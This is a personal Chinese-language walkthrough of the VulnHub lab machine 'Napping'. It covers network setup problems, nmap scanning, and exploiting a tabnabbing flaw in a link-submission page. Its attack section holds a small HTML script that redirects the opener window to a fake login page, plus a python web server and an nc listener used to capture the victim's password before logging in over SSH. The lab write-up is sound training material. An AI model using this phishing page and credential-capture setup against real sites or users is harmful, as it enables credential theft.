一些说明
- 下载请走这里:https://vulnhub.com/entry/napping-101,752/
- 视频教程:https://www.bilibili.com/video/BV1YafdYvEEZ?t=1083.4
- 文字教程:https://www.cnblogs.com/sainet/p/15650122.html
- 靶机IP:192.168.0.3/192.198.0.10 (这里是因为ssh时密码一直错,气得我重新打了一遍,第二次发现什么都监听不到,耗了好久,实在没办法,只能快照回去继续登录,发现靶机IP变了,于是重新扫了一遍)
- 攻击机IP:192.168.0.2
一、准备工作时出现的一些问题以及解决
问题一
- 一开始用net模式扫描,完全扫描不出靶机ip
- 解决:切换到桥连
问题二
- 桥连后,kali直接弹出disconnected
- 原因:vm的桥连默认模式是自动
- 解决:必须去手动指定为物理网卡,即WiFi
二、收集信息
1.ip a
看一下网段
2.小插曲
用了好多方法扫描,就是找不到靶机,查了一下,Napping在VMware里面好像不太兼容,于是转变思路,下载virtual box,并把靶机装上去(记得设置成桥连)
3.nmap -sn 192.168.0.0/24
列出所有存活主机的IP,不是Kali IP,不是网关,一般就是靶机(如果连的WiFi,那么还有手机,别看错了,本人已严肃踩坑)
4.ping -c 3 靶机IP
ping一下,测试连通性
5.nmap -sV -p- 靶机IP
扫一下它开了什么端口
三、分析
1.端口分析
看到开了80(web),22(ssh),明确方向web拿账号密码,ssh登录
2.先看web页面
发现是个登录页面,随便注册个账号登录一下,看见一个提交链接页面,输入一个百度的链接发现能跳转,查看源代码,发现站点上的此特定 URL 链接功能容易受到Tab Nabbing(点击跳转)钓鱼攻击。
四、攻击
1.做一个假登录页面放在桌面
<!DOCTYPE html>
<html>
<body>
<script>
if(window.opener) window.opener.parent.location.replace('ip/监听端口/正常页面');
if(window.opener != window) window.opener.parent.location.replace(同上);
</script>
</body>
</html>
2.到这里有两个方法,大同小异
- 第一个是做一个普通页面(因为是靶机)(没试过)
- 第二个是复制登录页面
3.开启网页服务器
python3 -m http.server 8080
4.监听恶意页面的端口
nc -lvvp 9876(开的端口)
5.提交链接
等了一会,拿到账号密码
6.登录
7.拿到shell
力竭